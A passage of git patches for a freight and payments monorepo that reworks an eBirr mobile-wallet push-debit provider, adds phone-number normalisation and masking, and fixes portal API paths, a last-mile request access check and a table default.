this.merchantCode, - orderNo: input.merchantOrderId, - amount, - timestamp, - }), - }; - - const response = await this.postJson( - `${this.baseUrl}/gateway/api/pay/create`, - requestBody, + this.logger.log( + `eBirr initiate ref=${input.merchantOrderId} account=${maskMsisdn(accountNo)} ` + + `currency=${input.currency} amount=${this.toAmount(input.amountMinor)} ` + + `(amountMinorIn=${input.amountMinor})`, ); - if (response.code !== "0000" || !response.data?.orderNo) { - throw new Error(`eBirr initiate failed: ${response.message}`); - } - - const expiresAt = new Date(response.data.expireTime); - return { - providerOrderId: response.data.orderNo, - clientAction: { type: "REDIRECT", url: response.data.payUrl }, - expiresAt, + providerOrderId: input.merchantOrderId, + clientAction: { + type: "AWAIT_PUSH", + message: + "Check your phone and enter your eBirr PIN to approve the payment.", + payerAccountMasked: maskMsisdn(accountNo), + }, + expiresAt: new Date(Date.now() + this.pushTtlMs), rawInitiation: { - request: this.sanitize(requestBody), - response, + request: this.sanitizeRequest( + this.buildPurchaseRequest(input, accountNo), + ), }, }; } - async queryStatus(merchantOrderId: string): Promise { - const timestamp = Date.now(); - const requestBody = { - merchantCode: this.merchantCode, - orderNo: merchantOrderId, - timestamp, - sign: this.signRequest({ - merchantCode: this.merchantCode, - orderNo: merchantOrderId, - timestamp, - }), - }; + /** + * Issue the debit. Blocks for as long as the payer takes to enter their PIN, so it must be + * called off the request path. + * + * Never throws: a transport failure or timeout is reported as PROCESSING, not FAILED. The money + * may well have moved, and the vendor doc §10 is explicit that a timeout must be resolved by + * querying, not by assuming failure and re-charging. + */ + async purchase(input: ProviderInitiationInput): Promise { + const accountNo = normalizeEthiopianMsisdn(input.payerAccount ?? ""); + const requestBody = this.buildPurchaseRequest(input, accountNo); + const url = `${this.baseUrl}/asm`; - const response = await this.postJson( - `${this.baseUrl}/gateway/api/pay/query`, - requestBody, + this.logger.log( + `eBirr API_PURCHASE → ${url} ref=${input.merchantOrderId} ` + + `account=${maskMsisdn(accountNo)} amount=${requestBody.serviceParams.transactionInfo.amount} ` + + `${input.currency} (awaiting payer PIN, up to ${this.purchaseTimeoutMs}ms)`, ); - if (response.code !== "0000" || !response.data) { - throw new Error(`eBirr query failed: ${response.message}`); + let response: EbirrPurchaseResponse; + try { + response = await this.postJson( + url, + requestBody, + this.purchaseTimeoutMs, + ); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const code = (err as { code?: string })?.code; + + // Never sent: no debit exists, so there is nothing to reconcile and no reason to make the + // payer wait. Fail it now with a cause they can act on. + if (this.isUndispatched(err)) { + this.logger.error( + `eBirr API_PURCHASE ${input.merchantOrderId} was never dispatched (${code ?? "n/a"}: ` + + `${message}) — no debit exists, failing the intent instead of awaiting reconciliation`, + ); + return { + status: ProviderPaymentStatus.FAILED, + failureCode: code ?? "EBIRR_UNREACHABLE", + failureMessage: + "Could not reach eBirr — no payment was taken. Please try again.", + rawResponse: { error: message, code, dispatched: false }, + }; + } + + // Sent but unanswered: unresolved, NOT failed. The sweep settles it via API_GETTRANINFO. + this.logger.warn( + `eBirr API_PURCHASE ${input.merchantOrderId} did not return a verdict ` + + `(${message}) — leaving PROCESSING for reconciliation`, + ); + return { + status: ProviderPaymentStatus.PROCESSING, + rawResponse: { error: message, code, dispatched: true }, + }; } - const mapped = this.mapStatus(response.data.tradeStatus); + const rawResponse = response as unknown as Record; + const state = response.params?.state; + const mapped = this.resolveVerdict(response.responseCode, state); + + if (mapped === ProviderPaymentStatus.FAILED) { + this.logger.error( + `eBirr API_PURCHASE ${input.merchantOrderId} rejected: ` + + `${response.responseCode}/${response.errorCode} ${response.responseMsg} ` + + `state=${state ?? "n/a"} (txn=${response.params?.transactionId ?? "n/a"})`, + ); + } else { + this.logger.log( + `eBirr API_PURCHASE ${input.merchantOrderId} state=${state ?? "n/a"} → ${mapped} ` + + `(txn=${response.params?.transactionId ?? "n/a"}, order=${response.params?.orderId ?? "n/a"})`, + ); + } return { status: mapped, - providerTxnId: response.data.tradeNo, + // Present on rejected responses too (eBirr records the failed attempt), so this is + // captured regardless of verdict — it is what reconciliation quotes back to eBirr. + providerTxnId: response.params?.transactionId, failureCode: mapped === ProviderPaymentStatus.FAILED - ? response.data.tradeStatus + ? response.errorCode || response.responseCode : undefined, + failureMessage: + mapped === ProviderPaymentStatus.FAILED + ? // `params.description` is the specific cause ("Invalid Credentials"); responseMsg is + // the generic wrapper ("Payment Failed (Invalid Credentials)"). + (response.params?.description ?? response.responseMsg) + : undefined, + rawResponse, + }; + } + + /** + * Did this error happen *before* the request was written to the wire? + * + * Only errors we can prove were never dispatched may be reported as FAILED — everything else + * has to stay PROCESSING, because a request eBirr received may have moved money. + */ + private isUndispatched(err: unknown): boolean { + // An HTTP response came back — whatever its status, eBirr received the request. + if (err instanceof AxiosError && err.response) return false; + + const code = (err as { code?: string })?.code; + const message = err instanceof Error ? err.message : String(err); + + // ETIMEDOUT is ambiguous and has to be read from the message. Node reports a TCP connect + // timeout as `connect ETIMEDOUT :` — nothing was sent. Axios reports its own *read* + // timeout with the same code when `clarifyTimeoutError` is set, but phrases it + // "timeout of Nms exceeded" — that one was sent and is still in flight. + if (code === "ETIMEDOUT") return message.startsWith("connect "); + + return !!code && EBIRR_UNDISPATCHED_CODES.has(code); + } + + /** + * Decide the outcome from an eBirr response. + * + * Observed against the live sandbox: a *rejected* envelope still carries the authoritative + * verdict in `params.state` — e.g. `5206/E10205` with `state: DECLINED`, and `5001/4004` + * ("User Aborted") with `state: TIMEOUT`. So `state` wins whenever it is present; the envelope + * code is only the fallback for responses that carry no `params` at all. + * + * The one thing `state` may never do is promote a rejected envelope to SUCCEEDED — success + * requires both a 2001 envelope and an approving state. + */ + private resolveVerdict( + responseCode: string, + state: string | undefined, + ): ProviderPaymentStatus { + const envelopeOk = responseCode === EBIRR_SUCCESS_CODE; + if (!state) { + return envelopeOk + ? ProviderPaymentStatus.PROCESSING + : ProviderPaymentStatus.FAILED; + } + const mapped = this.mapStatus(state); + if (mapped === ProviderPaymentStatus.SUCCEEDED && !envelopeOk) { + return ProviderPaymentStatus.FAILED; + } + return mapped; + } + + async queryStatus(merchantOrderId: string): Promise { + const response = await this.postJson( + `${this.baseUrl}/asm`, + this.buildGetTranInfoRequest(merchantOrderId), + EBIRR_QUERY_TIMEOUT_MS, + ); + + const rawState = + response.params?.status ?? + response.params?.state ?? + response.params?.tranStatusDesc; + + // A rejected envelope that still carries a state is a real verdict — the purchase endpoint + // demonstrably does this (5206/DECLINED, 5001/TIMEOUT), so don't assume the query endpoint + // won't. Trust the state; only fall back to the envelope when there is none. + if (rawState) { + const mapped = this.resolveVerdict(response.responseCode, rawState); + this.logger.log( + `eBirr API_GETTRANINFO ${merchantOrderId} state=${rawState} → ${mapped} ` + + `(txn=${response.params?.transactionId ?? "n/a"}, order=${response.params?.orderId ?? "n/a"})`, + ); + return { + status: mapped, + providerTxnId: response.params?.transactionId, + failureCode: + mapped === ProviderPaymentStatus.FAILED + ? response.errorCode || rawState + : undefined, + failureMessage: + mapped === ProviderPaymentStatus.FAILED + ? (response.params?.description ?? response.responseMsg) + : undefined, + rawResponse: response as unknown as Record, + }; + } + + // No state at all. Same convention as waafi/cac-bank: eBirr returns a bare error envelope + // for a transaction it has no record of, which means the payer hasn't answered the prompt + // yet — that is REQUIRES_ACTION (still waiting on the handset), NOT PROCESSING. Persisting a + // PROCESSING guess would let the sweep strand a payer on a push they never touched. The + // intent still resolves: via purchase()'s verdict, or via expiresAt. + if (response.responseCode !== EBIRR_SUCCESS_CODE) { + this.logger.warn( + `eBirr API_GETTRANINFO ${merchantOrderId}: ${response.responseCode}/${response.errorCode} ` + + `${response.responseMsg} — no state returned, treating as still awaiting the payer`, + ); + return { + status: ProviderPaymentStatus.REQUIRES_ACTION, + rawResponse: response as unknown as Record, + }; + } + + return { + status: ProviderPaymentStatus.PROCESSING, + providerTxnId: response.params?.transactionId, rawResponse: response as unknown as Record, }; } - verifyWebhookSignature(payload: Record): boolean { - const { sign, ...data } = payload; - if (!sign || typeof sign !== "string") return false; - - const expectedSign = this.signRequest(data); - return crypto.timingSafeEqual(Buffer.from(sign), Buffer.from(expectedSign)); - } - - mapWebhookStatus(tradeStatus: string): ProviderPaymentStatus { - return this.mapStatus(tradeStatus); - } - - private mapStatus(tradeStatus: string): ProviderPaymentStatus { - switch (tradeStatus?.toUpperCase()) { - case "TRADE_SUCCESS": + private mapStatus(raw: string | undefined): ProviderPaymentStatus { + switch (raw?.toUpperCase()) { + case "APPROVED": case "SUCCESS": return ProviderPaymentStatus.SUCCEEDED; - case "TRADE_CLOSED": - case "TRADE_FAILED": + case "CANCELED": + case "CANCELLED": + return ProviderPaymentStatus.CANCELLED; + case "DECLINED": + case "REJECTED": case "FAILED": + case "EXPIRED": + case "TIMEOUT": return ProviderPaymentStatus.FAILED; - case "WAIT_BUYER_PAY": case "PENDING": + case "INITIATED": return ProviderPaymentStatus.REQUIRES_ACTION; - case "PROCESSING": - return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; } } - private signRequest(data: Record): string { - const sortedKeys = Object.keys(data).sort(); - const signString = - sortedKeys.map((key) => `${key}=${data[key]}`).join("&") + - `&key=${this.secretKey}`; - - return crypto - .createHash("md5") - .update(signString) - .digest("hex") - .toUpperCase(); + private buildPurchaseRequest( + input: ProviderInitiationInput, + accountNo: string, + ): EbirrPurchaseRequest { + return { + schemaVersion: "1.0", + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), + channelName: this.channelName, + serviceName: "API_PURCHASE", + serviceParams: { + merchantUid: this.merchantUid, + apiKey: this.apiKey, + apiUserId: this.apiUserId, + paymentMethod: this.paymentMethod, + payerInfo: { accountNo }, + transactionInfo: { + referenceId: input.merchantOrderId, + invoiceId: input.orderRef, + amount: this.toAmount(input.amountMinor), + // Charge exactly the currency the caller already converted to. The provider never + // relabels the currency. + currency: input.currency, + description: `${input.orderRef}`, + }, + }, + }; } - private async postJson(url: string, body: unknown): Promise { - const config: AxiosRequestConfig = { - headers: { - "Content-Type": "application/json", + private buildGetTranInfoRequest( + merchantOrderId: string, + ): EbirrGetTranInfoRequest { + return { + schemaVersion: "1.0", + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), + channelName: this.channelName, + serviceName: "API_GETTRANINFO", + serviceParams: { + merchantUid: this.merchantUid, + apiKey: this.apiKey, + apiUserId: this.apiUserId, + referenceId: merchantOrderId, }, - timeout: 10_000, }; + } + + /** + * `amountMinor` is a misnomer inherited from the shared contract — it carries the *major* + * amount (see PaymentIntent.amountMinor: "real/major price; may be fractional"). Pass it + * through at 2dp. Never divide by 100 (the pre-rewrite code did, charging 1/100th), and don't + * borrow Waafi's `Math.trunc` — that is only correct for 0-decimal DJF and would drop ETB cents. + */ + private toAmount(amountMinor: number): number { + return Number(amountMinor.toFixed(2)); + } + + /** eBirr expects `YYYY-MM-DD HH:mm:ss` — not the epoch seconds Waafi's `/asm` accepts. */ + private timestamp(): string { + const d = new Date(); + const pad = (n: number): string => String(n).padStart(2, "0"); + return ( + `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} ` + + `${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}` + ); + } + + /** + * Single funnel for every `/asm` call, so the full wire request and the full wire response are + * both logged for `API_PURCHASE` and `API_GETTRANINFO` alike — at `log`, not `debug`, because + * eBirr has no webhook and no dashboard we can see: when a payer disputes a debit these lines + * are the only record of what we sent and what came back. Bodies pass through `sanitize*` so the + * api key and the payer's full MSISDN never reach the log sink. + */ + private async postJson( + url: string, + body: unknown, + timeout: number, + ): Promise { + const config: AxiosRequestConfig = { + headers: { "Content-Type": "application/json" }, + timeout, + httpsAgent: this.httpsAgent, + }; + + const envelope = body as { serviceName?: string; requestId?: string }; + const tag = `${envelope.serviceName ?? "UNKNOWN"} requestId=${envelope.requestId ?? "n/a"}`; + + this.logger.log( + `eBirr → POST ${url} ${tag} request=${JSON.stringify(this.sanitizeRequest(body))}`, + ); const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug( - `eBirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + this.logger.log( + `eBirr ← ${tag} status=${res.status} latency=${Date.now() - started}ms ` + + `response=${JSON.stringify(this.sanitizeResponse(res.data))}`, ); return res.data; } catch (err) { + const latency = Date.now() - started; if (err instanceof AxiosError) { this.logger.error( - `eBirr POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, + `eBirr ← ${tag} failed after ${latency}ms: status=${err.response?.status} ` + + `response=${JSON.stringify(this.sanitizeResponse(err.response?.data))} ` + + `code=${err.code} message=${err.message}`, ); } else { this.logger.error( - `eBirr POST ${url} threw: ${err instanceof Error ? err.message : err}`, + `eBirr ← ${tag} threw after ${latency}ms: ${err instanceof Error ? err.message : err}`, ); } throw err; } } - private sanitize(body: EBirrInitiateRequest): Record { - const { sign: _sign, ...rest } = body; - return rest; + /** + * Redact the api key and mask the payer MSISDN in an outbound envelope. Covers both service + * shapes: `API_PURCHASE` carries `payerInfo.accountNo`, `API_GETTRANINFO` carries neither. + */ + private sanitizeRequest(body: unknown): Record { + const envelope = body as EbirrPurchaseRequest; + const params = envelope?.serviceParams as + | (EbirrPurchaseRequest["serviceParams"] & Record) + | undefined; + if (!params) return body as Record; + + return { + ...envelope, + serviceParams: { + ...params, + apiKey: "***REDACTED***", + ...(params.payerInfo + ? { payerInfo: { accountNo: maskMsisdn(params.payerInfo.accountNo) } } + : {}), + }, + }; + } + + /** + * Responses carry no secret, but `params.accountNo` / `params.payerId` echo the payer's wallet + * number back — mask those the same way the request side does. + */ + private sanitizeResponse(data: unknown): unknown { + if (!data || typeof data !== "object") return data; + + const response = data as { params?: Record }; + if (!response.params) return data; + + const params = { ...response.params }; + for (const key of ["accountNo", "payerId"]) { + const value = params[key]; + if (typeof value === "string" && value) params[key] = maskMsisdn(value); + } + return { ...response, params }; } private get baseUrl(): string { return this.config.get("ebirr.baseUrl") ?? ""; } - private get merchantCode(): string { - return this.config.get("ebirr.merchantCode") ?? ""; + private get merchantUid(): string { + return this.config.get("ebirr.merchantUid") ?? ""; } - private get secretKey(): string { - return this.config.get("ebirr.secretKey") ?? ""; + private get apiKey(): string { + return this.config.get("ebirr.apiKey") ?? ""; } - private get notifyUrl(): string { - return this.config.get("ebirr.notifyUrl") ?? ""; + private get apiUserId(): string { + return this.config.get("ebirr.apiUserId") ?? ""; } - private get returnUrl(): string { - return this.config.get("ebirr.returnUrl") ?? ""; + private get paymentMethod(): string { + return this.config.get("ebirr.paymentMethod") ?? "MWALLET_ACCOUNT"; + } + private get channelName(): string { + return this.config.get("ebirr.channelName") ?? "WEB"; + } + /** + * How long `purchase()` waits for the payer's PIN. This is awaited on the request path (see + * IntentsService.settleEBirrPurchase), so it MUST stay below the passenger API's + * PAYMENT_API_HTTP_TIMEOUT_MS (60s) and any proxy read timeout in front of it. + */ + private get purchaseTimeoutMs(): number { + return this.config.get("ebirr.purchaseTimeoutMs") ?? 45_000; + } + private get pushTtlMs(): number { + return this.config.get("ebirr.pushTtlMs") ?? 180_000; } } diff --git a/packages/payment-providers/src/providers/ebirr/ebirr.types.ts b/packages/payment-providers/src/providers/ebirr/ebirr.types.ts new file mode 100644 index 000000000..b62538d99 --- /dev/null +++ b/packages/payment-providers/src/providers/ebirr/ebirr.types.ts @@ -0,0 +1,143 @@ +/** + * EbirrPay (API Payment) request/response types — docs/ebirr/EbirrPay for API PAYMENT.md. + * + * EbirrPay is the same ASM platform as WaafiPay: every operation is multiplexed through a single + * `POST /asm`, discriminated by `serviceName`, with the identical envelope and the identical + * `responseCode === '2001'` convention. See `../waafi/waafi.types.ts`. + * + * We use the API family (`API_PURCHASE`, `API_GETTRANINFO`), which is a *direct wallet debit*: + * the purchase call pushes a PIN prompt to the payer's handset over USSD and blocks until they + * approve it. There is no hosted page, no redirect and no webhook — the vendor doc's §5 "Redirects + * the customer to a secure Hosted Payment Page" and §8.3 "EbirrPay returns APIUrl and orderId" are + * stale copy-paste from the HPP family, contradicted by §5.3's own response body. See + * docs/ebirr/INTEGRATION.md. + */ + +/** Terminal/intermediate states reported by EbirrPay (`params.state` / `params.status`). */ +export type EbirrState = + | 'APPROVED' + | 'DECLINED' + | 'FAILED' + | 'CANCELLED' + | 'EXPIRED' + | 'TIMEOUT' + | string; + +/** Common request envelope shared by every `/asm` call (§3). */ +export interface EbirrRequestEnvelope { + schemaVersion: '1.0'; + requestId: string; + timestamp: string; + channelName: string; + serviceName: string; + serviceParams: TServiceParams; +} + +/** Common response envelope. `responseCode === '2001'` means the request was processed. */ +export interface EbirrResponseEnvelope { + schemaVersion: string; + timestamp: string; + responseId: string; + responseCode: string; + errorCode: string; + responseMsg: string; + params?: TParams; +} + +// --- API_PURCHASE ----------------------------------------------------------------------------- + +export interface EbirrPurchaseServiceParams { + merchantUid: string; + /** Merchant API key (§4). The vendor doc also calls this `APIKey` in §6.2/§7.2 — same field. */ + apiKey: string; + /** Doc §5.2 types this as a Number, but the live API accepts the string form. */ + apiUserId: string; + paymentMethod: string; + /** + * The payer's wallet. Doc §5.2 names this `subscriptionId`, but the field the live sandbox + * actually accepts is `accountNo` — verified by hand against testpayments.ebirr.com. + */ + payerInfo: { + accountNo: string; + }; + transactionInfo: { + referenceId: string; + /** Not listed in §5.2 but accepted by the live API and echoed back by API_GETTRANINFO (§7.3). */ + invoiceId?: string; + amount: number; + currency: string; + description?: string; + }; +} + +export type EbirrPurchaseRequest = EbirrRequestEnvelope; + +/** + * §5.3 plus the fields the live sandbox actually returns. + * + * `state` is the authoritative outcome. Critically, it is present on **rejected** envelopes too, + * so it must be read regardless of `responseCode` — observed live: + * + * 2001 / errorCode 0 → state APPROVED + * 5206 / errorCode E10205 → state DECLINED, description "Invalid Credentials" + * 5001 / errorCode 4004 → state TIMEOUT, description "User Aborted" + * + * `transactionId` and `orderId` are issued even for failed attempts. + */ +export interface EbirrPurchaseParams { + accountNo?: string; + accountType?: string; + state?: EbirrState; + merchantCharges?: string; + referenceId?: string; + transactionId?: string; + /** EbirrPay's own order id (doc §11 "EbirrPay order tracking"). Not in §5.3's example. */ + orderId?: string; + issuerTransactionId?: string; + txAmount?: string; + /** Specific failure cause, e.g. "Invalid Credentials" / "User Aborted". Not in §5.3. */ + description?: string; +} + +export type EbirrPurchaseResponse = EbirrResponseEnvelope; + +// --- API_GETTRANINFO -------------------------------------------------------------------------- + +export interface EbirrGetTranInfoServiceParams { + merchantUid: string; + apiKey: string; + apiUserId: string; + /** Either the merchant referenceId or the EbirrPay transactionId may be supplied. */ + referenceId?: string; + transactionId?: string; +} + +export type EbirrGetTranInfoRequest = EbirrRequestEnvelope; + +/** + * §7.3 — field-for-field the same set as `WaafiGetTranInfoParams`. + * + * The doc renders the first key as `tranStatETBesc`, which is `tranStat` + `usD` + `esc`: the + * vendor ran a global USD→ETB replace over the Waafi doc and corrupted `tranStatusDesc`. The real + * field is `tranStatusDesc`. + */ +export interface EbirrGetTranInfoParams { + tranStatusDesc?: string; + amount?: string; + payerId?: string; + paymentMethod?: string; + description?: string; + tranDate?: string; + currency?: string; + invoiceId?: string; + referenceId?: string; + tranAmount?: string; + transactionId?: string; + orderId?: string; + tranStatusId?: string; + status?: EbirrState; + /** Purchase responses use `state`; assume the query endpoint may too rather than betting on it. */ + state?: EbirrState; +} + +export type EbirrGetTranInfoResponse = EbirrResponseEnvelope; diff --git a/packages/payment-providers/src/utils/msisdn.ts b/packages/payment-providers/src/utils/msisdn.ts new file mode 100644 index 000000000..cb36d53dd --- /dev/null +++ b/packages/payment-providers/src/utils/msisdn.ts @@ -0,0 +1,53 @@ +/** + * Ethiopian MSISDN normalisation. + * + * Passenger phone numbers are stored inconsistently — `+2519…`, `2519…` and local `09…` all + * appear (see the variant-building comment in the passenger API's bookings.service). Ethiopian + * mobile wallets want the bare international form with no `+` and no leading zero, e.g. + * `251923582676`. + * + * This is deliberately separate from `normalizeCacMobile` (cac-bank.json.ts), which does the + * opposite for Djibouti — it *strips* the 253 country code to a national number. + */ + +/** Ethiopian mobile subscriber numbers are 9 digits and always start with 9 (or 7 for Safaricom). */ +const ET_NATIONAL_LENGTH = 9; +const ET_COUNTRY_CODE = '251'; + +/** + * Convert any accepted Ethiopian phone format to the bare `251XXXXXXXXX` form. + * + * Accepts `+251923582676`, `251923582676`, `0923582676` and `923582676`, plus spaces, dashes and + * parentheses anywhere. Throws on anything that isn't a plausible Ethiopian mobile number rather + * than silently sending a wrong account — a mistyped number would push a PIN prompt to a + * stranger's handset. + */ +export function normalizeEthiopianMsisdn(input: string): string { + const digits = (input ?? '').replace(/[\s()+-]/g, ''); + if (!/^\d+$/.test(digits)) { + throw new Error(`Invalid Ethiopian mobile number: ${input}`); + } + + let national: string; + if (digits.startsWith('00' + ET_COUNTRY_CODE)) { + national = digits.slice(2 + ET_COUNTRY_CODE.length); + } else if (digits.startsWith(ET_COUNTRY_CODE)) { + national = digits.slice(ET_COUNTRY_CODE.length); + } else if (digits.startsWith('0')) { + national = digits.slice(1); + } else { + national = digits; + } + + if (national.length !== ET_NATIONAL_LENGTH || !/^[79]/.test(national)) { + throw new Error(`Invalid Ethiopian mobile number: ${input}`); + } + + return `${ET_COUNTRY_CODE}${national}`; +} + +/** Mask an MSISDN for display/logging: `251923582676` → `2519****2676`. */ +export function maskMsisdn(msisdn: string): string { + if (msisdn.length <= 8) return '****'; + return `${msisdn.slice(0, 4)}****${msisdn.slice(-4)}`; +} diff --git a/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts b/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts deleted file mode 100644 index 38516bf29..000000000 --- a/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts +++ /dev/null @@ -1,12 +0,0 @@ -export interface EBirrWebhookPayload { - merchantCode: string; - orderNo: string; - tradeStatus: string; - tradeNo?: string; - totalAmount?: number; - currency?: string; - payTime?: number; - timestamp: number; - sign: string; - [key: string]: unknown; -} diff --git a/packages/types/src/common/payments.ts b/packages/types/src/common/payments.ts index 05be21682..430170548 100644 --- a/packages/types/src/common/payments.ts +++ b/packages/types/src/common/payments.ts @@ -58,6 +58,17 @@ export type ClientAction = providerOrderId: string; message?: string; } + | { + /** + * Wallet push-debit (eBirr): the provider has already prompted the payer on their own + * handset (USSD/app PIN). There is nothing to navigate to and nothing to collect — + * the client shows `message` and polls the intent until it turns terminal. + */ + type: "AWAIT_PUSH"; + message: string; + /** Masked MSISDN the prompt was pushed to, so the payer can confirm it's their phone. */ + payerAccountMasked?: string; + } | { /** CBE_BILL: show the bill reference the customer pays at any CBE channel. */ type: "SHOW_BILL_REFERENCE"; @@ -77,6 +88,8 @@ export interface ProviderInitiationInput { * Payer account identifier (e.g. mobile-wallet MSISDN in full international format). * Optional and provider-specific: some wallet providers (e.g. Waafi HPP with * MWALLET_ACCOUNT) require the payer's phone number up front to pre-fill the hosted page. + * For push-debit providers (eBirr, CAC Bank) it is mandatory — it is the account the PIN + * prompt is pushed to, so there is no hosted page that could collect it later. */ payerAccount?: string; /** Optional caller-supplied redirect targets for redirect/HPP-style providers. */ From bf8eadbc85b05c78c99c0ae14fdc7f3058d960e4 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Mon, 10 Aug 2026 12:00:08 +0000 Subject: [PATCH 03/13] fix: portal cannot load last-mile confirmation request MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit LAST_MILE_REQUESTS URL constants were missing the /api prefix every other endpoint in URLS.ts carries — all five calls (get, submit, contract view/document/sign) 404'd against the deployed API, so the departure notification's confirm link never loaded for the customer. Also widen GET /last-mile-requests/:id from @BookingStaff to @MixedAudience with the same ownership check submit()/sign() already use — the confirm page calls this as its first request, before the customer has done anything else, so it can't be staff-only. Co-Authored-By: Claude Opus 5 (1M context) --- .../last-mile-requests.controller.ts | 10 +++++++--- .../last-mile-requests.service.ts | 16 +++++++++++++++- .../edr-freight-web/portal/src/constants/URLS.ts | 10 +++++----- 3 files changed, 27 insertions(+), 9 deletions(-) diff --git a/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.controller.ts b/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.controller.ts index c6910c7a7..3d9fa4254 100644 --- a/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.controller.ts +++ b/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.controller.ts @@ -91,11 +91,15 @@ export class LastMileRequestsController { return this.contractService.sign(id, dto, user?.id ?? null); } + // Customer-facing like :id/contract/view — the portal's confirm page opens + // this straight from the departure notification link before the customer + // has done anything else, so it can't be staff-only. Service ownership- + // checks against the resolved company; staff may also open it. @Get(':id') - @BookingStaff(FREIGHT_PERMS.lastMile.requestView) + @MixedAudience(FREIGHT_PERMS.lastMile.requestView) @ApiOperation({ summary: 'Get a last-mile confirmation request by ID' }) - findOne(@Param('id', ParseUUIDPipe) id: string) { - return this.requestsService.findById(id); + findOne(@Param('id', ParseUUIDPipe) id: string, @CurrentUser() user: TCurrentUser) { + return this.requestsService.findById(id, user?.id ?? null); } // No @BookingStaff — the customer (portal) fills this, not backoffice staff. diff --git a/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.service.ts b/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.service.ts index b89f06479..ebdc93746 100644 --- a/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.service.ts +++ b/apps/edr-freight-api/src/modules/last-mile-requests/last-mile-requests.service.ts @@ -199,11 +199,25 @@ export class LastMileRequestsService { }; } - async findById(id: string): Promise { + /** + * `userId` is set only when a portal customer calls this directly (the + * confirm-page deep link from the departure notification, before they've + * submitted or signed anything) — staff and every internal caller pass + * nothing and skip the check, same convention as submit()/sign(). + */ + async findById(id: string, userId?: string | null): Promise { const record = await this.requestsRepository.findById(id, { relations: { booking: { company: true } }, }); if (!record) throw new NotFoundException(`Last-mile request ${id} not found`); + + if (userId) { + const companyId = await this.bookingsService.resolveCustomerCompanyId(userId); + if (companyId && record.booking?.companyId && companyId !== record.booking.companyId) { + throw new BadRequestException('This request does not belong to your company'); + } + } + return record; } diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 153ed5e8b..a0d33f5ba 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -224,10 +224,10 @@ export const URL_CONSTANTS = { }, LAST_MILE_REQUESTS: { - BY_ID: (id: string) => `/last-mile-requests/${id}`, - SUBMIT: (id: string) => `/last-mile-requests/${id}/submit`, - CONTRACT_VIEW: (id: string) => `/last-mile-requests/${id}/contract/view`, - CONTRACT_DOCUMENT: (id: string) => `/last-mile-requests/${id}/contract/document`, - CONTRACT_SIGN: (id: string) => `/last-mile-requests/${id}/contract/sign`, + BY_ID: (id: string) => `/api/last-mile-requests/${id}`, + SUBMIT: (id: string) => `/api/last-mile-requests/${id}/submit`, + CONTRACT_VIEW: (id: string) => `/api/last-mile-requests/${id}/contract/view`, + CONTRACT_DOCUMENT: (id: string) => `/api/last-mile-requests/${id}/contract/document`, + CONTRACT_SIGN: (id: string) => `/api/last-mile-requests/${id}/contract/sign`, }, }; From 45715d68381fac5a6f841f40c110dba31a815461 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Mon, 10 Aug 2026 12:02:19 +0000 Subject: [PATCH 04/13] fix: default DataTable status to success so rows render status was required with no default; omitting it left the body blank while the footer (which renders regardless of status) still showed "Showing 1-N of N". Rows to draw is the common case, so default to success instead of requiring every caller to pass it explicitly. Co-Authored-By: Claude Opus 5 (1M context) --- packages/ui-common/src/components/data-table/table.tsx | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/ui-common/src/components/data-table/table.tsx b/packages/ui-common/src/components/data-table/table.tsx index 957da3300..3dc2d5786 100644 --- a/packages/ui-common/src/components/data-table/table.tsx +++ b/packages/ui-common/src/components/data-table/table.tsx @@ -13,7 +13,10 @@ import { DataTableFooter } from "./footer"; export function DataTable({ columns, data, - status, + // The body only renders under "success", but the footer renders regardless — + // omitting status gave a blank table under a populated "Showing 1–N of N" + // footer. Having rows to draw is the default case, so default to success. + status = "success", onRowClick, rowStyle, rowClassName, From 1b4a317d927aa6c01527560f9e2bb0f83f428b7c Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Mon, 10 Aug 2026 12:02:31 +0000 Subject: [PATCH 05/13] docs: trim eims.types.ts file header comment Co-Authored-By: Claude Opus 5 (1M context) --- apps/edr-freight-api/src/modules/eims/eims.types.ts | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/apps/edr-freight-api/src/modules/eims/eims.types.ts b/apps/edr-freight-api/src/modules/eims/eims.types.ts index 6e74604bd..8cea86619 100644 --- a/apps/edr-freight-api/src/modules/eims/eims.types.ts +++ b/apps/edr-freight-api/src/modules/eims/eims.types.ts @@ -1,6 +1,5 @@ /** - * Wire types for the MoR EIMS gateway, taken from the supplied Postman collection. - * + * Wire types for the MoR EIMS gateway, * Every protected payload is the same envelope: the business object under `request`, a base64 * RSA-SHA512 signature over the *inner* object only, and the base64 certificate bundle. */ From b701ae3f470b669f149702e1175cf0e82378df85 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Mon, 10 Aug 2026 12:05:04 +0000 Subject: [PATCH 06/13] Revert "docs: trim eims.types.ts file header comment" This reverts commit f4b8dab58d921791b4b3f69e3c9952b6802835cc. --- apps/edr-freight-api/src/modules/eims/eims.types.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff 